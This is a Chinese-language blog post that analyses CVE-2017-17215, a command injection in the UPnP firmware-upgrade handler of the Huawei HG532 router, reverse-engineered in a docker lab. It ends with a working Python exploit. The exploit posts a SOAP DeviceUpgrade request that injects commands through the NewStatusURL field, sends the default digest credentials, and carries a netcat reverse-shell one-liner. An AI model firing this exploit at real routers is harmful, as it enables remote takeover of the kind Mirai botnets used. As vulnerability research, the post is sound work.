漏洞分析:CVE-2017-17215

Riv4ille發表於2021-12-04

漏洞分析:CVE-2017-17215

  華為HG532路由器的命令注入漏洞,存在於UPnP模組中。

漏洞分析

什麼是UPnP?

  搭建好環境(使用IoT-vulhub的docker環境),啟動環境,檢視一下系統啟動的服務和埠監聽情況。

   漏洞點存在於UPnP模組中,關於upnp協議,其實現的功能大致如下:

  1.NAT 閘道器裝置擁有一個公網 IP 地址(比如 10.59.116.19),內網中的主機(比如 192.168.1.101)想要與外界通訊的話,NAT 閘道器裝置可以為其做一個埠對映(比如:180.59.116.19 :80 —> 192.168.1.101 :80),這樣,外部的主機發往 NAT 閘道器的資料包都會被轉發給內網的該主機,從而實現了內網中的主機與外部主機的通訊;

  2.當內網的服務,需要被外網訪問的時候,就需要做一個埠對映,把內網主機的埠對映到NAT閘道器裝置的一個埠上去,這樣訪問閘道器裝置的埠時候,實際上就是訪問了內網主機的服務。但是當內網有多臺主機需要向外提供服務的時候,就需要手動配置NAT閘道器裝置的對映埠,確保這些內網服務不會對映到NAT閘道器裝置的同一個埠上去,否則就會造成埠的衝突,這給使用者造成了很多麻煩;

  3.UPnP 技術標準的出現就是為了解決這個問題,只要 NAT 裝置(路由器)支援 UPnP,並開啟。那麼,當我們的主機(或主機上的應用程式)向 NAT 裝置發出埠對映請求的時候,NAT 裝置就可以自動為主機分配埠並進行埠對映。這樣,我們的主機就能夠像公網主機一樣被網路中任何主機訪問了。

   總的來說,upnp提供了一種外網到內網主機的訪問機制,如果閘道器裝置的upnp模組存在問題的話,從WAN口去攻擊路由器等等閘道器裝置就會比較容易。HG532這款裝置,使用upnp來進行韌體更新,在韌體更新的過程中存在命令注入漏洞,最早是checkpoint發現被Mirai的變種OKIRU/SATORI利用來構建殭屍網路。

 

漏洞函式,你在哪裡被呼叫?

  用IDA開啟/bin/upnp檔案,通過搜尋system等命令執行函式的交叉引用,檢視存在的命令注入點。由於大部分命令執行函式的引數是硬編碼過的,所以找到這個漏洞點並不困難,簡單的搜尋之後,就可以看到一個snprintf函式在傳遞引數的過程中,對引數沒有做任何校驗,然後snprintf讀入的格式化字串引數的地址被傳遞到了system函式中,system呼叫upg來進行韌體更新,如果param1和param2兩個引數可控的話,就可以在system中執行攻擊者的命令。

  現在需要看一下ATP_XML_GetChildNodeByName函式,由於韌體沒有剝離符號表,所以通過函式名大致可以看出函式做了什麼:

int __fastcall ATP_XML_GetChildNodeByName(int a1, int NodeName, int *a3, _DWORD *param)
{
  int flag; // $s1
  int i; // $v0
  int v9; // $s0
  int NodeValue; // [sp+20h] [-8h] BYREF
  int ret_NodeName; // [sp+24h] [-4h] BYREF

  flag = 0x40090000;
  if ( NodeName )
  {
    for ( i = ((int (__fastcall *)(int))TSP_XML_GetNodeFirstChild)(a1); ; i = TSP_XML_GetNodeNextSibling(v9) )
    {                                           // 遍歷xml節點
      v9 = i;
      if ( !i )
      {
        if ( param )
          *param = 0;
        return 0x40090004;
      }
      flag = TSP_XML_GetNodeValue(i, 0, 0, &ret_NodeName, &NodeValue);// 獲取xml節點的值
      if ( flag )
      {
        if ( param )
          *param = 0;
        return flag;
      }
      if ( ret_NodeName && !strcmp(ret_NodeName, NodeName) )
        break;
    }
    if ( a3 )
      *a3 = v9;
    if ( param )
    {
      if ( NodeValue )
        ((void (*)(void))sub_408540)();
      *param = NodeValue;
    }
  }
  return flag;
}

  大膽猜測一下:通過遍歷xml的節點,找到標籤名和第二個引數一樣的節點,然後把xml節點的值寫入到第四個引數的地址處。這裡比較坑的一點是,我找不到漏洞函式的交叉引用,也不知道怎麼控制snprintf的引數。

  這裡先在squashfs-root目錄下找找"NewDownloadURL"和"NewStatusURL"這兩個字串:

   

   在upnp中查詢DevUpg.xml字串的交叉引用:

   檢視ATP_UPNP_RegDeviceAndService函式,發現這個函式對ATP_UPnP_RegDevice函式和ATP_UPnP_RegService函式有大量的呼叫,猜測這個函式可能主要用於開啟外網對內訪問的服務。

 

   往下找一找,可以看到一個ATP_UPNP_RegAction函式,這個函式有兩個引數:

   這個引數之前就作為ATP_UPnp_RegDevice的最後一個引數被傳遞進去過:

   我們之前說,ATP_UPnP_RegService這個函式可能是開啟UPnP的服務,那ATP_UPNP_RegAction,很有可能就是要對開啟的服務做一些操作,跟進看一看。

int __fastcall ATP_UPNP_RegAction(int service_id, int idx)
{
  int result; // $v0
  int *v4; // $s0
  char *funcname; // $s2
  int v6; // $s1

  if ( !service_id )
    return 0x40090000;
  result = 0x40090000;
  if ( *(_DWORD *)(service_id + 48) )
  {
    v4 = *(int **)(service_id + 36);
    if ( v4 )
    {
      funcname = g_astActionArray[4 * idx];
      while ( 1 )
      {
        if ( (v4[1] & 0x40000000) != 0 )
        {
          v6 = *v4;
          if ( !strcmp(*v4, funcname) )
            break;
        }
        v4 = (int *)v4[4];
        result = 0x40090000;
        if ( !v4 )
          return result;
      }
      ATP_UPNP_Free(v6);
      v4[1] &= 0xBFFFFFFF;
      *v4 = idx;
      result = 0;
    }
  }
  return result;
}

  這裡的重點,在g_astActionArray這個全域性變數,這個全域性變數之前沒有被識別出來,在IDA裡面修改識別一下,發現別有洞天:

   這是一個虛表,aUpgrade和DeviceUpgrade(這個就是漏洞函式)分別是下標為0和1的函式名。這樣看來,之前找不到對應漏洞函式的交叉引用也就有理可循了。

  再來看看這個虛表對應的交叉引用,看除了ATP_UPNP_RegAction這個函式之外,它還在哪裡被呼叫了:

  UPnPGetActionByName會返回g_astActionArray中的函式指標:

   然後這個函式指標隨後會被呼叫:

   做到這一步,我們現在可以再梳理一下逆向的工作了。

  我們之前首先通過搜尋system函式交叉引用的辦法,找到了漏洞點,但是沒有找到漏洞函式的交叉引用,這是因為函式是通過虛表的方式,呼叫了函式指標。

  然後我們通過在韌體中查詢關鍵字串的方式,確定了UPnP協議要解析的一個關鍵的xml檔案:DevUpg.xml。我們又回到/bin/upnp中,查詢這個檔名字串的交叉引用,通過分析ATP_UPnp_RegDevice和ATP_UPNP_RegAction這兩個函式,在IDA裡面找到並且正確識別了這個虛表。

  最後再通過查詢虛擬函式其他的交叉引用,找到了函式指標被呼叫的地方,還原了整個漏洞函式執行的流程。

  那麼現在還要關注哪些問題?

 

   我們現在還不知道,控制韌體升級的訊息格式,只有清楚了訊息格式,我們才能結合之前找到的注入點注入命令。

  通過UPnP實現韌體更新的過程,是通過一個Web介面來實現的,我們還要把這個介面給找出來。完成這兩步,感覺這個漏洞挖掘的過程就被完整地還原出來了,開搞。

尋找Web介面

  在逆向的過程中,有這樣一段程式碼:

   http_request是我重新命名的一個變數,這個變數肯定是一個結構體指標,但是暫時沒有辦法還原這個結構體。UpnpGetServiceByUrl這個函式名也引起了我的注意(url這個變數也是我重新命名的一個變數,根據函式名猜的),跟進到這個函式中看一看:

   這樣一看,這個函式實現的功能其實也能猜個十之八九,g_pstUpnpGvarHead這個全域性變數最開始是在ATP_UPNP_Init函式中被賦值;

   還有一個函式會以xml格式返回客戶端錯誤:

 

  到這一步,我覺得繼續靜態分析的話,收穫也不大了,登入到路由器後臺找一找api,看看能不能抓包分析一下流量是唯一的出路。

 

 

   後臺確實有韌體升級的功能,但是在docker中好像不能用,我把tcpdump傳到靶機中沒有抓取到37215埠的流量,看了一下check point的漏洞公告和分析,嘗試構造exp。

漏洞利用

   checkpoint文中提到是通過蜜罐捕獲到了流量。

  通過UPnP協議控制韌體升級的訊息格式如上圖所示,其中NewStatusURL和NewDownloadURL標籤中的內容就是我們可控的命令注入點。通過nc反彈shell失敗,wget傳遞msf的反彈shell還是穩......

  exp中需要進行http身份驗證,否則就會報401錯誤。

 

import requests
from threading import Thread
from requests.auth import HTTPDigestAuth

cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.1 3456 > /tmp/f"
#cmd = "mkdir /tmp/poc"
payload = '''<?xml version=\"1.0\" ?>\n'''
payload += '''<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n'''
payload += '''<s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n'''
payload += '''<NewStatusURL>;$(./tools/msf);</NewStatusURL>\n'''
payload += '''<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n'''
payload += '''</s:Body>\n'''
payload += '''</s:Envelope>'''
url = "http://192.168.2.2:37215/ctrlt/DeviceUpgrade_1"
# r = requests.post(url,data = payload)

r = requests.post(url,auth = HTTPDigestAuth('dslf-config', 'admin') ,data = payload)
print(r.status_code)

 

總結

  關於這個漏洞,感覺網上一些文章都是搭了環境,然後直接找一次命令注入點,根據漏洞公告給的資訊打一次exp,少了一些細節。我在分析的過程中,加入了自己學習和研究的過程中的一些思路和想法,在這個過程中,我對於UPnP協議也有了一些瞭解,加深了對命令注入漏洞資料流的理解。

參考連結:

https://zhuanlan.zhihu.com/p/40407669

https://nosec.org/home/detail/4871.html

https://research.checkpoint.com/2017/good-zero-day-skiddie/

 

 

 

 

 

   

相關文章